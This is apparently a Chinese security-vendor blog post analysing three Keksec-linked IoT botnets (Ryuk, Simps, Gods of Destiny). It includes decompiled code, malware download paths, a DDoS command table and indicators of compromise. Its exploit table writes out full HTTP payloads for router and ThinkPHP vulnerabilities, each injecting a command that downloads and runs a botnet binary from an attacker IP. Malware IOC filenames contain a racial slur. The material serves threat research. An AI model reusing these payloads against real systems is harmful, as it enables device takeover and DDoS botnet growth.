

Ryuk Botnet、Simps Botnet、Gods of Destny Botnet——Keksec团伙运营网络新增三个僵尸网络家族

blog.nsfocus.net/ryuk-botnet/

伏羲实验室

一、概述

近期以来，绿盟科技伏羲实验室高级威胁狩猎系统捕获到多个与Keksec黑客组织相关联的僵尸网络木马。经过详细的分析，我们发现该组织新增了成员ur0a，ur0a在4、5、6这三个月每月都在增加新变种到其运营网络当中，包含最新发现的僵尸网络Ryuk Botnet，gods of destiny Botnet以及4月份以来十分活跃的Simps Botnet。

新增的三个僵尸网络有着相同的风格，它们似乎对于宣示主权尤为热衷，对于攻陷的机器第一件事便是插旗表示机器已被KekSec组织感染，并随即在感染日志中留下组织签名及联络方式，颇有恐怖组织对此次事件负责的意味。比如：

“This Device Is Infected By Ryuk Botnet Instagram:@ur0a_Discord:UR0A#2199-Ryuk#4652”。

同时，Keksec所采用的恶意代码架构也在不断的增加，在以往活动中，该组织倾向于使用Mirai或Gafgyt架构来构建恶意代码，但近期却采用tsunami架构来构建了新的僵尸网络Ryuk Botnet。其后期将会如何发展值得引起我们的关注，伏羲实验室将持续追踪Keksec组织及其所运营的Ryuk Botnet、gods of destiny、Simps Botnet的活动。

二、Ryuk Botnet

Ryuk Botnet是绿盟科技伏羲实验室捕获到的新型僵尸网络木马，其背后的组织是近期活动较为频繁的Keksec。木马在入侵设备后大张旗鼓的表明自己的身份，并留下组织信息：“This Device Has Been Infected by Ryuk Botnet Made By ur0a And Keksec Group”。

```
if ( sub_8830() <= 0 )
{
  if ( ((int (*)(void))sub_81CC)() )
  {
    sub_8AD0("Connection successful");
    v10 = sub_8AC4("Infected.log", "a");
    sub_9FC8("This Device Has Been Infected by Ryuk Botnet Made By ur0a And Keksec Group :)\r\n", 1, 79, v10);
    sub_8944(v10);
    if ( *((DWORD *)(&v8 + 4)) )
      sub_A680(&v9, *((DWORD *)(&v8 + 4)));
    else
      strcpy(&v9, "unknown");
    v2 = sub_8610(dword_18E28, "%s", &v9);
  }
  else
  {
    v2 = sub_8AD0("Connection Failed");
  }
}
```

Ryuk Botnet基于tsunami架构，主要功能是发起DDoS攻击。

```
if ( result <= 0 )
{
  result = (int)sub_A878(*v8, "STD"); // STD Flood
  if ( result )
  {
    v3 = sub_8AC4((int)"Attack.log", (int)"a");
    sub_8884((int)v3, "Ryuk DDoS Attack Sent To: %s\r\n", v8[1]);
    sub_8944(v3);
  }
}
```

Ryuk Botnet有多个版本，通常以ur0a.mips，ur0a.i686，ur0a.x86_64.....的方式命名，其中大部分加了UPX壳,通过如下方式得以分发：

基础设施	拼接路径
185.224.129.235	/Ryuk/ur0a.mips
107.172.156.158	/Ryuk/ur0a.i686
107.172.156.158	/Ryuk/nigger.sh
192.236.146.182	/Ryuk/ur0a.i586
23.95.8.110	/Ryuk/ur0a.x86_64
	/Ryuk/ur0a.armv4l
	/Ryuk/ur0a.armv6l
	/Ryuk/ur0a.armv7l
	/Ryuk/ur0a.armv5l
	/Ryuk/ur0a.mipsel

部分版本中C2以明文的方式存储，没有留下instagram以及Discord联络方式，而在另外一些版本中，C2及黑客组织信息都以加密的方式存储：

```
BL      util_encryption
SUB     R3, R11, #-infected
MOV     R0, R3
BL      puts
LDR     R3, =aYmxx2Ij{nhj2Nx2Nskjhjy2G~2W~zp2Gtysjy2"...
SUB     R2, R11, #-message
MOV     R12, #0x53 ; 'S'
MOV     R0, R2 ; dest
MOV     R1, R3 ; src
MOV     R2, R12 ; n
BL      memcpy
SUB     R3, R11, #-message
MOV     R0, R3 ; str
BL      util_encryption
LDR     R0, =aInfectednigger ; "InfectedNigger.log"
```

解密后：This-Device-Is-Infected-By-Ryuk-Botnet-Instagram:@ur0a_Discord:UR0A#2199-Ryuk#4652


```
puts("Infected By Simps Botnet :");
LogFile = (FILE *)fopen("Infected.log", "L"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNORSTUVWXYZ1234567890");
fwrite(
  "Thank You For Your Services.\r\n"
  "This Device Has successfully Been Infected\r\n"
  "With Malware By Simps Botnet :)\r\n"
  "| Instagram: @ur0a_ | Discord: UR0A#2190\r\n",
  1L,
  149L,
  LogFile);
fclose(LogFile);
```

然而经过仔细地分析后，我们发现Simps Botnet和gods of destiny Botnet采用的都是mirai架构。背后的组织也都为KekSec，两者恶意软件的分发方式与Ryuk Botnet类似，都是从一个脚本文件开始，文件分发所采用服务器基础设施也与Ryuk Botnet有所重合。

Simps Botnet的一个版本中，携带漏洞高达13种。

VULNERABILITY	AFFECTED DEVICES	Exp
CVE-2018-10561	Dasan GPON routers	<pre>"POST /GponForm/diag_Form?images/ HTTP/1.1\r\n User-Agent: Hello, World\r\n Accept: */*\r\n Accept-Encoding: gzip, deflate\r\n Content-Type: application/x-www-form-urlencoded\r\n \r\n XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host= busybox+wget+http://23.95.80.200/gpo"</pre>
CVE-2018-10562	Dasan GPON routers	<pre>"POST /GponForm/diag_Form?images/ HTTP/1.1\r\n User-Agent: Hello, World\r\n Accept: */*\r\n Accept-Encoding: gzip, deflate\r\n Content-Type: application/x-www-form-urlencoded\r\n \r\n XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host= busybox+wget+http://23.95.80.200/gpo gaf;sh+/tmp/gaf &ip=0"</pre>
CVE-2014-8361	Realtek	<pre>"POST /picdesc.xml HTTP/1.1\r\n Host: 127.0.0.1:52869\r\n Content-Length: 630\r\n Accept-Encoding: gzip, deflate\r\n SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\n Accept: */*\r\n User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n Connection: keep-alive\r\n \r\n <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle=" http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org: vice:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalP ol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var; rm -rf mips; \ http://23.95.80.200/Simps/mips -O mips; chmod 777 mips; ./mips realtek</NewInternalClient><NewEnabled> /NewEnabled><NewPortMappingDescription>synching</NewPortMappingDescription><NewLeaseDuration><C uration></u:AddPortMapping></s:Body></s:Envelope>\r\n \r\n"</pre>
CVE-2017-17215	Huawei HG532	<pre>"POST /ctrl/DeviceUpgrade_1 HTTP/1.1\r\n Content-Length: 430\r\n Connection: keep-alive\r\n Accept: */*\r\n Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e3 3569d75ee30", uri="/ctrl/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm= MD5, qop="auth", nc=00000001, cnonce="248d1a2560100669"\r\n \r\n <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle=" http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service NPPPCConnection:1"><NewStatusURL>\$(/bin/busybox wget -g 23.95.80.200 -l /tmp/binary -r /Simps/mips; /bin usybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>\$(echo HUAWEI ownloadURL)</u:Upgrade></s:Body></s:Envelope>\r\n" "POST /ctrl/DeviceUpgrade_1 HTTP/1.1\r\n Content-Length: 430\r\n Connection: keep-alive\r\n Accept: */*\r\n Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e3 3569d75ee30", uri="/ctrl/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm= MD5, qop="auth", nc=00000001, cnonce="248d1a2560100669"\r\n \r\n <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle=" http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service NPPPCConnection:1"><NewStatusURL>\$(/bin/busybox wget -g 23.95.80.200 -l /tmp/binary -r /wrgjwrgjwrg246: 56356/n2; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary wget.selfrep.exploit.huawei)</NewStatusURL><N wDownloadURL>\$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>\r\n \r\n"</pre>

CVE-2018-20062	ThinkPHP	<pre> "GET /index.php?s=/index/\think\app\invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[]=wget http://23.95.80.200/Simps/x86_64 -O thinkphp ; chmod 777 thinkphp ; .thinkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1\r\n Connection: keep-alive\r\n Accept-Encoding: gzip, deflate\r\n Accept: /\r\n User-Agent: WW3V1SRC/2.0\r\n \r\n" </pre>
Linksys RCE		<pre> "POST /tmUnblock.cgi HTTP/1.1\r\n Host: 127.0.0.1:80\r\n Connection: keep-alive\r\n Accept-Encoding: gzip, deflate\r\n Accept: /\r\n User-Agent: python-requests/2.20.0\r\n Content-Length: 227\r\n Content-Type: application/x-www-form-urlencoded\r\n \r\n ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Tmipse%3B+wget+http%3A%2F%2F23.95.80.200%2FSimps%2FTr +Tmipse%3B+. %2FTmipse+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action= </pre>
Zyxel RCE	Zyxel	<pre> "POST /cgi-bin/ViewLog.asp HTTP/1.1\r\n Host: 192.168.0.14:80\r\n Connection: keep-alive\r\n Accept-Encoding: gzip, deflate\r\n Accept: */*\r\n User-Agent: python-requests/2.20.0\r\n Content-Length: 227\r\n Content-Type: application/x-www-form-urlencoded\r\n \r\n /bin/busybox wget http://23.95.80.200/N1qq3r.sh; chmod +x N1qq3r.sh; ./N1qq3r.sh </pre>
UPnP SOAP Command Execution	D-Link Devices UPnP SOAP	<pre> "POST /UD/?9 HTTP/1.1\r\n User-Agent: OSIRIS\r\n Content-Type: text/xml\r\n SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\r\n \r\n <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle= "http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org: vice:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalP ol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; /dev/.e && cd /var/dev; wget http://23.95.80.200/N1qq3r.sh -O - -> Hades.sh; chmod 777 Hades.sh; sh Hades. h; rm Hades.sh; iptables -A INPUT -p tcp -destination-port 5555 -j DROP`</NewInternalClient><NewEnabled> </NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration> Duration></u:AddPortMapping></s:Body></s:Envelope>" </pre>
JAWS Webserver unauthenticated shell command execution		<pre> "GET /shell?cd+/tmp;rm+-rf+*;wget+ 23.95.80.200/Simps/armv4l;chmod+777+/tmp/armv4l;sh+/tmp/armv4l HT \r\n User-Agent: Hello, world\r\n Host: 127.0.0.1:80\r\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n Connection: keep-alive\r\n \r\n" </pre>
Linksys RCE	Linksys E-series devices	<pre> "POST /tmUnblock.cgi cd /tmp; rm -rf N1qq3r.sh; wget http://23.95.80.200/N1qq3r.sh;chmod 777 N1qq3r.sh;./N </pre>
HNAP SoapAction- Header Command Execution	D-Link devices	<pre> "POST /HNAP1/ HTTP/1.0\r\n Content-Type: text/xml; charset="utf-8"\r\n SOAPAction: http://purenetworks.com/HNAP1/ cd /tmp && rm -rf * && wget http://23.95.80.200/Simps/mips && hmod +x mips;./mips hnap\r\n Content-Length: 640\r\n \r\n <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-ir ancel" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/env e/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foc ortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMap rotocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body> \r\n" </pre>

Comtrend VR-3033 RCE		“GET /ping.cgi?pingIpAddress=google.fr;wget%20http://23.95.80.200/N1qq3r.sh%20-O%20-%3E%20/tmp/jno;p/jno%27/&sessionKey=1039230114\$ HTTP/1.1\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: Hello, World\r\n\r\n”
CVE-2020-8958	Netlink GPON Router	“GET /boaform/admin/formPing?target_addr=;wget%20http://23.95.80.200/N1qq3r.sh%20-O%20-%3E%20/tmp/jno%27/&waninf=1_INTERNET_R_VID_154\$ HTTP/1.1\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: Hello, World\r\n\r\n”

该版本所支持功能如下：

UDP	UDP Flood	.NickName	逗号分隔 IP	攻击端口	持续时间	是否随机源 IP	单次攻击包大小	攻击次数, 若未设置, 则默认为 1000
RAW	UDP Flood	.NickName	逗号分隔 IP	攻击端口	持续时间			
NULL	ICMP Flood	.NickName	逗号分隔 IP	攻击端口	持续时间			
DOMI NATE	UDP Flood(OVH ByPass)	.NickName	逗号分隔 IP	攻击端口	持续时间			
SLAM	ICMP Flood	.NickName	逗号分隔 IP	攻击端口	持续时间			
TCP	TCP Flood	.NickName	逗号分隔 IP	攻击端口	持续时间	是否随机源 IP	标志位, 可以为 all 或 syn,rst,fin,ack,psh 的组合	单次攻击流大小
OVH	HTTP PGET Flood	.NickName	域名	攻击端口	持续时间	攻击次数		
VSE	UDP Flood(Valve source engine specific flood)	.NickName	逗号分隔 IP	攻击端口	持续时间	是否随机源 IP	单次攻击包大小	攻击次数, 若未设置, 则默认为 1000
NFO	STD Flood	.NickName	逗号分隔 IP	攻击端口	持续时间			
STOP	结束所有攻击进程	.NickName						
SHELL	执行 shell 命令	.NickName	命令					
TGOD KILL	退出进程	.NickName						
CHAN GEPA SSWO RD	更改密码	.NickName						

四、总结

Keksec是一个极为活跃的黑客组织，曾有报告称该组织至少由四人组成，主要通过DDoS攻击和勒索活动来获利，该组织向来比较高调，早在2018 就因黑掉广告牌并在推特上炫耀其入侵成果而占据新闻头条。近期，该组织又在不断构建与更新其僵尸网络，并在入侵设备后大张旗鼓的表明自己的身份，留下组织信息，短短三个月的时间就新增了多个僵尸网络组件，同时，他们所采用的恶意代码架构也在不断的增加，其后期将会如何发展值得引起我们的关注。

五、IOC

MD5 :

1c8d2898439c95d5a8e566ba285f3129
b7a1cd513ea3aff1847fb5c7cdb9ca8d
87f1d9c6d33dc14b3186819d7740d019
9559d8521c4b65b5c8d06d40fddddc83
339d107321efca74553e4f5eac03d779
7f078854c3e0e763580d2351dc235f7a
1c5c75fe918e27e53104146c6643655e
d3f6c8ea992b1c7bec2a8cbeae81afdc
e79846cd74293dfcf5f37381a228fdba
4aac6b909923a9c07fdafa6c24ced04c
1dddd6878b523130135075dca3e19d6e
28fc2bb60f8d290cf9813ad2c95becbd
40ff44e10f03f8cebca42d78f0fde8d0
54750cc2baf72aea1c9232a2ce0bb942
627758db57de511b58919450988bc288
04c38d5b33429714be8de125cb8123a8
72ac21c4e9cbd02f42d7aec452c21b7c
09536541d540f8f8c32ed5fe7163c789
06f1916f2357c71931c148f79718faa2
2c0510b8b14fcdbbddeaec331501ed0e
082694cf07e984de5b57662a198c9012
a629df5e8482b15573fdb990ca0bf4b5
3582e1c44b7828fa953da03d9024b09b
1ee802a9710f4dea9c750eebc0a15352
766ecab1137b0e186efb1ad8eae43ae3
6b26a6f28090b6e9f20579e25b87f07e
4273f0f1759a141629b62d7b428c9a25
8a0d9cbed0a7162d28cadaa18b83762a
36eb893b647c50b16d19da8505402610
38e52050f018d7dd592d596f00caf076
cb4b7615028a9bcaaf461664787cf5a2
9b72a6d18cdb63464f1f997eee06df2e
f0f2d1b7f4ffd565b6da0c0540cb3e66
fe9f307825d082e13b3665b676327d9f
7871e7e19d2db1616381104ff40896c6
55e85759962bb889cc113a3d9b4d6e25

ef77b873fb4cfc474f24f82f3df4a49

d9996e501083e055c916e69ad4b2cb70

ec15c463ce5c0a286663402d225140ac

91a94a1492fc7a48aa32ac57e098151b

lp

107.172.156.158

192.236.146.182

185.224.129.235

45.14.224.127

23.95.8.110

Strings

instagram: @ur0a_

Discord: UR0A#2199

gods of destny

Ryuk Botnet

Simps Botnet

ur0a.mips

ur0a.i686

nigger.sh

ur0a.i586

ur0a.x86_64

ur0a.armv4l

ur0a.armv6l

ur0a.armv7l

ur0a.armv5l

ur0a.mipsel

关于伏影实验室

研究目标包括Botnet、APT高级威胁，DDoS对抗，WEB对抗，流行服务系统脆弱利用威胁、身份认证威胁，数字资产威胁，黑色产业威胁及新兴威胁。通过掌控现网威胁来识别风险，缓解威胁伤害，为威胁对抗提供决策支撑。

版权声明

本站“技术博客”所有内容的版权持有者为绿盟科技集团股份有限公司（“绿盟科技”）。作为分享技术资讯的平台，绿盟科技期待与广大用户互动交流，并欢迎在标明出处（绿盟科技-技术博客）及网址的情形下，全文转发。

上述情形之外的任何使用形式，均需提前向绿盟科技（010-68438880-5462）申请版权授权。如擅自使用，绿盟科技保留追责权利。同时，如因擅自使用博客内容引发法律纠纷，由使用者自行承担全部法律责任，与绿盟科技无关。